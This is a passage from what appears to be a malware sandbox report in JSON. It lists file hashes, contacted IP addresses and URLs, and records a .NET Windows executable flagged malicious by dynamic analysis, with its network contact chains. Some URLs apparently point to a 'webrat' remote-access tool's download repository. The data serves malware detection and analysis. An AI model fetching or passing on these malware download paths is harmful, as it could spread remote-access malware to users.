73a0458e7"},"File:07140635c6db7e963b9726b47aa480f2367745ed66190f517a6ef700bccad68c":{"type":"File","value":"07140635c6db7e963b9726b47aa480f2367745ed66190f517a6ef700bccad68c"},"File:0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678":{"type":"File","value":"0742b71bf052d741ed23c36dbcf226451e0b92bf07a607b8dcebb9b272e13678"},"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4":{"type":"File","value":"0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Detected malicious dynamic behaviour"]},"filetype":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:103894ee64c0885271b53a3a111433010bc5acbe811c0f0feed715cb0c84bfa3":{"type":"File","value":"103894ee64c0885271b53a3a111433010bc5acbe811c0f0feed715cb0c84bfa3"},"File:138d4e6fc0b79660d82f869348e66e7a77a64c399c2f4630e2d14ac76213091d":{"type":"File","value":"138d4e6fc0b79660d82f869348e66e7a77a64c399c2f4630e2d14ac76213091d"},"File:143ad42e414306c5033d465d7058c36c99d50ca57e67bdb37adabdbc132bd629":{"type":"File","value":"143ad42e414306c5033d465d7058c36c99d50ca57e67bdb37adabdbc132bd629"},"File:16ba0a0c46865990f3953a95546eeb4b1c825f4b9d1db6e5ba414966bf023817":{"type":"File","value":"16ba0a0c46865990f3953a95546eeb4b1c825f4b9d1db6e5ba414966bf023817"},"File:174784f39ea776fafef09876551c076d871f8a8b0d25b9856f71925cadaddd6f":{"type":"File","value":"174784f39ea776fafef09876551c076d871f8a8b0d25b9856f71925cadaddd6f"},"File:1a11157db59807464381321e7d306999ab5fd5cb5b3e592ac939570b01d0fce4":{"type":"File","value":"1a11157db59807464381321e7d306999ab5fd5cb5b3e592ac939570b01d0fce4"},"File:1af864230e79963216bba1dfbbe080f3ac1cfb8bdb91f4f9dd805692c2f237a8":{"type":"File","value":"1af864230e79963216bba1dfbbe080f3ac1cfb8bdb91f4f9dd805692c2f237a8"},"File:20506d824742ee70782aba142cfc5e9354709abf5fc0ef8f27060e244d28e630":{"type":"File","value":"20506d824742ee70782aba142cfc5e9354709abf5fc0ef8f27060e244d28e630"},"File:232fcbea41baad98bac4d4f080c381300b8484bf69c2b499f75e7169f4a4e942":{"type":"File","value":"232fcbea41baad98bac4d4f080c381300b8484bf69c2b499f75e7169f4a4e942"},"File:2400607f02d1a0535299caf156893b39875207a9d01405882f0622719446baba":{"type":"File","value":"2400607f02d1a0535299caf156893b39875207a9d01405882f0622719446baba"},"File:26622dcf5fd7d55b3f961c3f565e25963a97feff61e2a2c89bee21091e63a873":{"type":"File","value":"26622dcf5fd7d55b3f961c3f565e25963a97feff61e2a2c89bee21091e63a873"},"File:2b2ff507be7d4620dce4e8e9afbcba5d0bfb76484f50af5e9bf83ec5ce0c6184":{"type":"File","value":"2b2ff507be7d4620dce4e8e9afbcba5d0bfb76484f50af5e9bf83ec5ce0c6184"},"File:30017b1665d8956b48cdca1e707357a21d49eb22bab96f51b345008d4c144b48":{"type":"File","value":"30017b1665d8956b48cdca1e707357a21d49eb22bab96f51b345008d4c144b48"},"File:3688a3da9eefc65824f6dc150080ab6199364284cf3a3976d9aa80d7cf5963ad":{"type":"File","value":"3688a3da9eefc65824f6dc150080ab6199364284cf3a3976d9aa80d7cf5963ad"},"File:3d80e1fb8035d7ab8989a0c779faf25548ecf25b25c8e84690efa19c476c7782":{"type":"File","value":"3d80e1fb8035d7ab8989a0c779faf25548ecf25b25c8e84690efa19c476c7782"},"File:3f18740cbda48835b30b142718465bd0cac59d7419591423de4b7f9c57f14fc1":{"type":"File","value":"3f18740cbda48835b30b142718465bd0cac59d7419591423de4b7f9c57f14fc1"},"File:3f5ece8885039a13806315bf922133fca9a4c3b2a75f8b7b9f7498d3143e5276":{"type":"File","value":"3f5ece8885039a13806315bf922133fca9a4c3b2a75f8b7b9f7498d3143e5276"},"File:3fe668846d4a36ce95de4c982d68dc53b7ae422afd7b3e1197e055d97c81422f":{"type":"File","value":"3fe668846d4a36ce95de4c982d68dc53b7ae422afd7b3e1197e055d97c81422f"},"File:415b3cf2349457a20e6785472eb811648b8877362db4ce2170690e70ad78372f":{"type":"File","value":"415b3cf2349457a20e6785472eb811648b8877362db4ce2170690e70ad78372f"},"File:4314f21e69f655b5543c0705f2ca4988ffebf23a251904a8b2a798670ab9a797":{"type":"File","value":"4314f21e69f655b5543c0705f2ca4988ffebf23a251904a8b2a798670ab9a797"},"File:46021ab6fcb53f58083084b5b940da96d7027800fe956f131137ce915f1b65bf":{"type":"File","value":"46021ab6fcb53f58083084b5b940da96d7027800fe956f131137ce915f1b65bf"},"File:490ecb3b6f1397b045626f26c44b858e96a842bfd162de12fee383aaea1998c6":{"type":"File","value":"490ecb3b6f1397b045626f26c44b858e96a842bfd162de12fee383aaea1998c6"},"File:4d42ec9289937b39bca503ca542940d15c574180195c9a8dbcec08e5dfddd032":{"type":"File","value":"4d42ec9289937b39bca503ca542940d15c574180195c9a8dbcec08e5dfddd032"},"File:4d55aeaff7d7b9e45ac666e2ba73a0c2728078f46917621f6e47c77c0ee1480b":{"type":"File","value":"4d55aeaff7d7b9e45ac666e2ba73a0c2728078f46917621f6e47c77c0ee1480b"},"File:4ea1118d720bca195eec394f7dc56d15f55729b53f56b8889a3588f566017286":{"type":"File","value":"4ea1118d720bca195eec394f7dc56d15f55729b53f56b8889a3588f566017286"},"File:500934f236f712ace71cc0bad97a24d3f25109180e9b96e0e5c37ef2c100e13d":{"type":"File","value":"500934f236f712ace71cc0bad97a24d3f25109180e9b96e0e5c37ef2c100e13d"},"File:585b18ffbd7e60c7f9b37cd6debae55514c100344a2166bc82a57d1e06ff75ce":{"type":"File","value":"585b18ffbd7e60c7f9b37cd6debae55514c100344a2166bc82a57d1e06ff75ce"},"File:596202bd7587a7bb339b76f2a98fec94418912cbc6daa6ee4c002419125ce2f9":{"type":"File","value":"596202bd7587a7bb339b76f2a98fec94418912cbc6daa6ee4c002419125ce2f9"},"File:5d5123b015162525249bf8a372957d5c72d4fdc7469a39a5cfe868874baf739b":{"type":"File","value":"5d5123b015162525249bf8a372957d5c72d4fdc7469a39a5cfe868874baf739b"},"File:5edd9ebaacf2f35736bf3e379b2e9ec4dfefa40482acc3d5ee819fbd014833e7":{"type":"File","value":"5edd9ebaacf2f35736bf3e379b2e9ec4dfefa40482acc3d5ee819fbd014833e7"},"File:60b8fff7ee452949ba005b378b75031ce5e4e0aa386767448f0cbd7d45a2c066":{"type":"File","value":"60b8fff7ee452949ba005b378b75031ce5e4e0aa386767448f0cbd7d45a2c066"},"File:60c92e53739605d71cb8153f8a608724a47c0b6b4e7f0fba34f0facfc07c6320":{"type":"File","value":"60c92e53739605d71cb8153f8a608724a47c0b6b4e7f0fba34f0facfc07c6320"},"File:68aa940b43ca4f7068ddc873eec50ec9efe076e503c458938e3909e8d616428d":{"type":"File","value":"68aa940b43ca4f7068ddc873eec50ec9efe076e503c458938e3909e8d616428d"},"File:6c4cbc6b61bb6c33911b9d6d05b92c55bd27816351e58ad901873921f1726e55":{"type":"File","value":"6c4cbc6b61bb6c33911b9d6d05b92c55bd27816351e58ad901873921f1726e55"},"File:6edd04af54d57b34417f953e4cc4b7d6a81890fb8b96875938f4bd1fd5454c42":{"type":"File","value":"6edd04af54d57b34417f953e4cc4b7d6a81890fb8b96875938f4bd1fd5454c42"},"File:704d3f4a296dd681841a25533ff0e8c2ca491e3a728c3ce3ef5ea002366e65c6":{"type":"File","value":"704d3f4a296dd681841a25533ff0e8c2ca491e3a728c3ce3ef5ea002366e65c6"},"File:7804dca6b458aae0177fa3debaa727c1e22e5e26566b8c412124563210d3cd6c":{"type":"File","value":"7804dca6b458aae0177fa3debaa727c1e22e5e26566b8c412124563210d3cd6c"},"File:79066b9715de1cffcd206608b1fc0dce98124b16b9da0782eb4f8131a88de8f5":{"type":"File","value":"79066b9715de1cffcd206608b1fc0dce98124b16b9da0782eb4f8131a88de8f5"},"File:7a514d213fe5d57b145059554fa52e71ba4898e12862541ef9f455845edfabbf":{"type":"File","value":"7a514d213fe5d57b145059554fa52e71ba4898e12862541ef9f455845edfabbf"},"File:7cd6b44cb9c38f27d5ade7003b5c2a5ecbea9f5fd8a2dd02155894b9890175a1":{"type":"File","value":"7cd6b44cb9c38f27d5ade7003b5c2a5ecbea9f5fd8a2dd02155894b9890175a1"},"File:7ce1bc9e1fae3bea132cea29ebf6084748b56b186d82576a3db68f0ec7afda64":{"type":"File","value":"7ce1bc9e1fae3bea132cea29ebf6084748b56b186d82576a3db68f0ec7afda64"},"File:80c39daae7993e8e76fa7f5b2feea3b058a740370caa73fc82808c876cad6412":{"type":"File","value":"80c39daae7993e8e76fa7f5b2feea3b058a740370caa73fc82808c876cad6412"},"File:80f242e3859188ae69c5044b4eb2a12e0e08e7b38ebf9d759c1c2745149db1f7":{"type":"File","value":"80f242e3859188ae69c5044b4eb2a12e0e08e7b38ebf9d759c1c2745149db1f7"},"File:82ceef7cf366eb31f852b0a41d283d124d0dbaea611987873bcd5149c5da8a91":{"type":"File","value":"82ceef7cf366eb31f852b0a41d283d124d0dbaea611987873bcd5149c5da8a91"},"File:84de4de77e381ad84d3a7fbcb5d722800515d3593143b4c69978e2bab090bf72":{"type":"File","value":"84de4de77e381ad84d3a7fbcb5d722800515d3593143b4c69978e2bab090bf72"},"File:8578763cf73e28b229497f2a0d3ba589157a0401311260fc2e97e25cf1b7d444":{"type":"File","value":"8578763cf73e28b229497f2a0d3ba589157a0401311260fc2e97e25cf1b7d444"},"File:879230912e5210e82fbab19e5635c56787bf85ce43e4425aca5766907f9d8afc":{"type":"File","value":"879230912e5210e82fbab19e5635c56787bf85ce43e4425aca5766907f9d8afc"},"File:8919c1b287158f408ef06aa3dedcb7472a681e489abf96895a7f77714a2d9964":{"type":"File","value":"8919c1b287158f408ef06aa3dedcb7472a681e489abf96895a7f77714a2d9964"},"File:8bbf3007e9ee5bb35296d7ca6310ee4cae2cf928847abaffd3453429174224fe":{"type":"File","value":"8bbf3007e9ee5bb35296d7ca6310ee4cae2cf928847abaffd3453429174224fe"},"File:8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813":{"type":"File","value":"8cc474d89e436458882fe72ca1ece40eadfb2c19c3b3788f72c8df926b5f7813"},"File:904299f6b4844335d3cdbffa76f7ff26901ffca8f8a62b9749e551acab20c5ec":{"type":"File","value":"904299f6b4844335d3cdbffa76f7ff26901ffca8f8a62b9749e551acab20c5ec"},"File:9113b876c4d6a633d8ddf756d7f1efc787e072408f812256ef658def06d85486":{"type":"File","value":"9113b876c4d6a633d8ddf756d7f1efc787e072408f812256ef658def06d85486"},"File:912fd9e72e3f373e2799379700090ac7fc2e2fa912e77ef64312622952babb7d":{"type":"File","value":"912fd9e72e3f373e2799379700090ac7fc2e2fa912e77ef64312622952babb7d"},"File:913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8":{"type":"File","value":"913792a7cec3a062742f3390d7941a7e95aeeb7e1537e4a52590049d54c5c5e8"},"File:95f2dc731195d9ae4d0d85386adba95725b8c18431a5c0088417fb9c076fda61":{"type":"File","value":"95f2dc731195d9ae4d0d85386adba95725b8c18431a5c0088417fb9c076fda61"},"File:9c8e9a8c82dc1723e470febf437e213a06cab42f8b91d3408edd13028ee403f7":{"type":"File","value":"9c8e9a8c82dc1723e470febf437e213a06cab42f8b91d3408edd13028ee403f7"},"File:9d9fb9585162bccf87c6e38c2b8adb2a9d7d6860bd9dd5364293e78e14a01efb":{"type":"File","value":"9d9fb9585162bccf87c6e38c2b8adb2a9d7d6860bd9dd5364293e78e14a01efb"},"File:9de7c3d13fd0b2a3434f7215ad0bee8a46579d5f787170eb5c868078392b8913":{"type":"File","value":"9de7c3d13fd0b2a3434f7215ad0bee8a46579d5f787170eb5c868078392b8913"},"File:9fc447f9f9213ac087dc345dd82de813716501526f7a8d60de761fcec07cc210":{"type":"File","value":"9fc447f9f9213ac087dc345dd82de813716501526f7a8d60de761fcec07cc210"},"File:a07644f5501de77139d4e48ad59bbe37124949b806a76d4038e68106b2a16d63":{"type":"File","value":"a07644f5501de77139d4e48ad59bbe37124949b806a76d4038e68106b2a16d63"},"File:a0fb3efd47362ef7aca41183ad95a4c1add28e1fe59ab2ebd55feb6822320eba":{"type":"File","value":"a0fb3efd47362ef7aca41183ad95a4c1add28e1fe59ab2ebd55feb6822320eba"},"File:a21615eeb3cd4535d3d9f830f378679f7c40b75ee3bc0ddf621640c3d2bf0833":{"type":"File","value":"a21615eeb3cd4535d3d9f830f378679f7c40b75ee3bc0ddf621640c3d2bf0833"},"File:a54c221c12e840fc83dc4ffd4c8c81c195fb0ba71977d39b8693d423a0e51bd0":{"type":"File","value":"a54c221c12e840fc83dc4ffd4c8c81c195fb0ba71977d39b8693d423a0e51bd0"},"File:a95a5072d931f9f10486b8afdf14446eb9b2484e6427dd4003002308db57aa23":{"type":"File","value":"a95a5072d931f9f10486b8afdf14446eb9b2484e6427dd4003002308db57aa23"},"File:abd1704bee08885a638b7828e124f0611e43d0acda974e5f50edc018d5e50207":{"type":"File","value":"abd1704bee08885a638b7828e124f0611e43d0acda974e5f50edc018d5e50207"},"File:accff03dea2b03160623a035ea1e4785c1c170378e5cbd9251cc7397c42f0fdd":{"type":"File","value":"accff03dea2b03160623a035ea1e4785c1c170378e5cbd9251cc7397c42f0fdd"},"File:af77de5745915990b7d8ff40ed7b71f841f0d2d6edd789c0cb4fe8e10ae2d178":{"type":"File","value":"af77de5745915990b7d8ff40ed7b71f841f0d2d6edd789c0cb4fe8e10ae2d178"},"File:b4f5739d02c9c585bb0662e42ec8530f6290bf9c81aff22c9a4ca25dac2831b1":{"type":"File","value":"b4f5739d02c9c585bb0662e42ec8530f6290bf9c81aff22c9a4ca25dac2831b1"},"File:b5a6eb30196084d98cc6255a8f41551bdad9cfdaf319628d646863634a3ea235":{"type":"File","value":"b5a6eb30196084d98cc6255a8f41551bdad9cfdaf319628d646863634a3ea235"},"File:b9240ff444887f98dcf9e30b18fb3fc3c5dffabe502ca436f39e69dabb0cb266":{"type":"File","value":"b9240ff444887f98dcf9e30b18fb3fc3c5dffabe502ca436f39e69dabb0cb266"},"File:baceeaa0c2dcad8c8bc837f73b283cc333e71445e8e23fc109c5a257f858203e":{"type":"File","value":"baceeaa0c2dcad8c8bc837f73b283cc333e71445e8e23fc109c5a257f858203e"},"File:bcaac5a12f698128259d22d08bc949991003da385176c3811d9886e314a27fe1":{"type":"File","value":"bcaac5a12f698128259d22d08bc949991003da385176c3811d9886e314a27fe1"},"File:bd026799d0d8c970bb24b71d99afffab3461ac55e4258a5909d0dcf9afa96fc6":{"type":"File","value":"bd026799d0d8c970bb24b71d99afffab3461ac55e4258a5909d0dcf9afa96fc6"},"File:beee6288c9217178484cc753116182211ed88f18da88805d58af96a60d59f66d":{"type":"File","value":"beee6288c9217178484cc753116182211ed88f18da88805d58af96a60d59f66d"},"File:bf4b76db0b2bf26a098b2b79d5d52e0a1685b7592b79cf48762f35ea4f2f9964":{"type":"File","value":"bf4b76db0b2bf26a098b2b79d5d52e0a1685b7592b79cf48762f35ea4f2f9964"},"File:c120afd1b8a0f7d3825754023f3c58ad3fa1e7bc97024a37d2f73ee2880babdd":{"type":"File","value":"c120afd1b8a0f7d3825754023f3c58ad3fa1e7bc97024a37d2f73ee2880babdd"},"File:c1d5b4b63391ac463206c166fd565a7a2e76227ca4d98506a08f0e9abfbbbc25":{"type":"File","value":"c1d5b4b63391ac463206c166fd565a7a2e76227ca4d98506a08f0e9abfbbbc25"},"File:c5a9d45ff1d1e205b085a50d0af0241877ff7cc497d00eb30620027084557b56":{"type":"File","value":"c5a9d45ff1d1e205b085a50d0af0241877ff7cc497d00eb30620027084557b56"},"File:c5bcc3e7a92f458ac6bbffe45fa704f4207086f9cf9dd6850a74d691b41eb2d0":{"type":"File","value":"c5bcc3e7a92f458ac6bbffe45fa704f4207086f9cf9dd6850a74d691b41eb2d0"},"File:ca7a2b82f34b2ddbda368aaaad43c4aac2eabcab3d6531de3f9969bbd06771f5":{"type":"File","value":"ca7a2b82f34b2ddbda368aaaad43c4aac2eabcab3d6531de3f9969bbd06771f5"},"File:cd04d413a59a0a4c05f64d33510ed2023eb7a047b05c1e5432e33edadc11482e":{"type":"File","value":"cd04d413a59a0a4c05f64d33510ed2023eb7a047b05c1e5432e33edadc11482e"},"File:cd98f7e275a2dc8730432accd4a2140d39e99b833e857f0aa7d66a3446592d2d":{"type":"File","value":"cd98f7e275a2dc8730432accd4a2140d39e99b833e857f0aa7d66a3446592d2d"},"File:d036422b90e15abd1763c07b479bc358adb7719d5bb14da896f8fd4de1bb67ba":{"type":"File","value":"d036422b90e15abd1763c07b479bc358adb7719d5bb14da896f8fd4de1bb67ba"},"File:d3adc69106f8d3efcfcc8d11003699f8c8766a40a59d6d8aabdc4d5ead4201c7":{"type":"File","value":"d3adc69106f8d3efcfcc8d11003699f8c8766a40a59d6d8aabdc4d5ead4201c7"},"File:d3b00a7e3b21c636a1fb766d8706b6bc656f15c246481a5b22eb481ced66dbbe":{"type":"File","value":"d3b00a7e3b21c636a1fb766d8706b6bc656f15c246481a5b22eb481ced66dbbe"},"File:d863ebe6c951b25010518261e71deb7d18876dbb00634dd402416474f19b1c0a":{"type":"File","value":"d863ebe6c951b25010518261e71deb7d18876dbb00634dd402416474f19b1c0a"},"File:d8a8724ac84b2ee0e2e95aa99cf5244db03525d69925e26631f61ed24c6f84d9":{"type":"File","value":"d8a8724ac84b2ee0e2e95aa99cf5244db03525d69925e26631f61ed24c6f84d9"},"File:ddb85a87048782ae20184c196f767865aa5ef4f25b3dc6a5c1c8fb3c7cba2550":{"type":"File","value":"ddb85a87048782ae20184c196f767865aa5ef4f25b3dc6a5c1c8fb3c7cba2550"},"File:e049faa6233096de5bebec0065eecc515fdb1765742cb7d73cd15061a7354de4":{"type":"File","value":"e049faa6233096de5bebec0065eecc515fdb1765742cb7d73cd15061a7354de4"},"File:e2a917245b738b1427fcdad8859981e9d0061c80e4183f385563d85c36df41c9":{"type":"File","value":"e2a917245b738b1427fcdad8859981e9d0061c80e4183f385563d85c36df41c9"},"File:e38217ef2be169bf2066e9330520984bf04f39cfcf2b3e6643cb7f1a3124bb08":{"type":"File","value":"e38217ef2be169bf2066e9330520984bf04f39cfcf2b3e6643cb7f1a3124bb08"},"File:e46f1ea82cfc2a66401508fe84747f8935cee8813b2c109ac3845f48fbe871b4":{"type":"File","value":"e46f1ea82cfc2a66401508fe84747f8935cee8813b2c109ac3845f48fbe871b4"},"File:e532eb3824b085aa6d449f2b6bcb1dd6e157dbd7be187f5e67a9ec013518e1d4":{"type":"File","value":"e532eb3824b085aa6d449f2b6bcb1dd6e157dbd7be187f5e67a9ec013518e1d4"},"File:e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381":{"type":"File","value":"e54b0ff737336ba12c828e2fa812770507f387b7b9ad1a88fe074e7f9547d381"},"File:e6739f8d8fa1e804bbc43648c40c5940e64fb5707c9915954ff87809ef940c15":{"type":"File","value":"e6739f8d8fa1e804bbc43648c40c5940e64fb5707c9915954ff87809ef940c15"},"File:eacc3e6eb1a08ed877e270253d486a8d0bb3f198a4f518b9e34c409d3689d08b":{"type":"File","value":"eacc3e6eb1a08ed877e270253d486a8d0bb3f198a4f518b9e34c409d3689d08b"},"File:eaeb297ba56d04bb16e5fa5660eb74182f6befcc2be87e9c65b24a14c0c60e03":{"type":"File","value":"eaeb297ba56d04bb16e5fa5660eb74182f6befcc2be87e9c65b24a14c0c60e03"},"File:eb2eb8c7274228c607beedf9dbd00844a02d9bade53a3e95a1ce1e99543d1ad2":{"type":"File","value":"eb2eb8c7274228c607beedf9dbd00844a02d9bade53a3e95a1ce1e99543d1ad2"},"File:ec8eeaeaeffa5ffc6ab73d738b2baf2dc8bdf8435f781c1947efd3adeccae799":{"type":"File","value":"ec8eeaeaeffa5ffc6ab73d738b2baf2dc8bdf8435f781c1947efd3adeccae799"},"File:edfb0a2fa00819a1d3ca9718310451c40255e5c24177c0a75552c735e840bac6":{"type":"File","value":"edfb0a2fa00819a1d3ca9718310451c40255e5c24177c0a75552c735e840bac6"},"File:ef3c96352dba24dddbc39d191bf83a70404b4b41f500da531e911a7421797b42":{"type":"File","value":"ef3c96352dba24dddbc39d191bf83a70404b4b41f500da531e911a7421797b42"},"File:efc3324bf5dea534d7415f7ecf1378ccd9ed32109578c03b9870810d1b47d6e6":{"type":"File","value":"efc3324bf5dea534d7415f7ecf1378ccd9ed32109578c03b9870810d1b47d6e6"},"File:f03c65b081ae722b8c7e574c583688d95ee15b246a6bf5c9a79cb496cbd27583":{"type":"File","value":"f03c65b081ae722b8c7e574c583688d95ee15b246a6bf5c9a79cb496cbd27583"},"File:f1f0bc77374d27b4e6cb64415bb163fd0a8667eeccc3fd6c9e5d1c0aa46258b3":{"type":"File","value":"f1f0bc77374d27b4e6cb64415bb163fd0a8667eeccc3fd6c9e5d1c0aa46258b3"},"File:f5511b10a3ba531b7f56151734bd6f90d16d858d3a433b0d6f7abf4d651a1edc":{"type":"File","value":"f5511b10a3ba531b7f56151734bd6f90d16d858d3a433b0d6f7abf4d651a1edc"},"File:f96c3803a5fcd291a9ebac8b857aaad1cf6fe51c78c084b0b2e3e2f57e16ad11":{"type":"File","value":"f96c3803a5fcd291a9ebac8b857aaad1cf6fe51c78c084b0b2e3e2f57e16ad11"},"File:fa0e3fda7926d3b8e68dc1a556a9d1722f28d883ec2f37498f5348cd1233618e":{"type":"File","value":"fa0e3fda7926d3b8e68dc1a556a9d1722f28d883ec2f37498f5348cd1233618e"},"File:fb3f310cd5b86089027e63f53896ef8251016234e6504d1c04667b1cb95069de":{"type":"File","value":"fb3f310cd5b86089027e63f53896ef8251016234e6504d1c04667b1cb95069de"},"File:fe40a5fdcbe2544fc52f67aca53b009e04fc71e37d1f575c6bef1cd45b06be3a":{"type":"File","value":"fe40a5fdcbe2544fc52f67aca53b009e04fc71e37d1f575c6bef1cd45b06be3a"},"Ip:1.1.1.1":{"type":"Ip","value":"1.1.1.1"},"Ip:104.16.248.249":{"type":"Ip","value":"104.16.248.249"},"Ip:13.32.241.16":{"type":"Ip","value":"13.32.241.16"},"Ip:150.171.109.74":{"type":"Ip","value":"150.171.109.74"},"Ip:150.171.29.10":{"type":"Ip","value":"150.171.29.10"},"Ip:150.171.30.11":{"type":"Ip","value":"150.171.30.11"},"Ip:151.101.193.44":{"type":"Ip","value":"151.101.193.44"},"Ip:152.53.49.102":{"type":"Ip","value":"152.53.49.102"},"Ip:172.64.146.215":{"type":"Ip","value":"172.64.146.215"},"Ip:172.65.251.78":{"type":"Ip","value":"172.65.251.78"},"Ip:192.178.142.132":{"type":"Ip","value":"192.178.142.132"},"Ip:23.38.111.110":{"type":"Ip","value":"23.38.111.110"},"Ip:52.123.225.104":{"type":"Ip","value":"52.123.225.104"},"Ip:52.123.251.207":{"type":"Ip","value":"52.123.251.207"},"Ip:68.67.179.164":{"type":"Ip","value":"68.67.179.164"},"Url:/api/report?cat=msn":{"type":"Url","value":"/api/report?cat=msn"},"Url:/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D":{"type":"Url","value":"/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D"},"Url:/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D":{"type":"Url","value":"/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D"},"Url:/sa1at/":{"type":"Url","value":"/sa1at/"},"Url:/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D":{"type":"Url","value":"/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D"},"Url:/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=":{"type":"Url","value":"/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent="},"Url:/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent=":{"type":"Url","value":"/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent="},"Url:/sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=":{"type":"Url","value":"/sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent="},"Url:/users/sign_in":{"type":"Url","value":"/users/sign_in"},"Url:/webrat1/importantfiles/-/raw/main/7z.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/7z.dll"},"Url:/webrat1/importantfiles/-/raw/main/7z.exe":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/7z.exe"},"Url:/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll"},"Url:/webrat1/importantfiles/-/raw/main/MSTSCLib.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/MSTSCLib.dll"},"Url:/webrat1/importantfiles/-/raw/main/ffmpeg.exe":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/ffmpeg.exe"}},"chains":[{"id":"1552386238954493899","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[],"verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Detected malicious dynamic behaviour"]}},{"id":"1552386235515164564","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[{"edge_kind":"contacted_domain","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e"}],"verdict":{"verdict":"unknown"}},{"id":"1552386235519358880","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[{"edge_kind":"contacted_domain","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635"}],"verdict":{"verdict":"unknown"}},{"id":"1552386251953237931","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[{"edge_kind":"contacted_domain","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Domain:20a83b42cd540c2fcdee61e4f14793ede774fa8258835683a7c8e885a8c270c2"}],"verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},{"id":"1552386235527747523","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[{"edge_kind":"contacted_domain","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Domain:5f93289debb5d6dee51139b15fad9cbf01330e06ead87a680481397c29193a8f"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","edges":[{"edge_kind":"contacted_ip","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Ip:1.1.1.1"},{"edge_kind":"contacted_ip","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_ip","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Ip:152.53.49.102"},{"edge_kind":"contacted_ip","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","to_key":"Ip:172.65.251.78"},{"edge_kind":"contacted_ip","from_key":"File:0a4048ebe7a683ffef1cae2902477b713980fe4142ee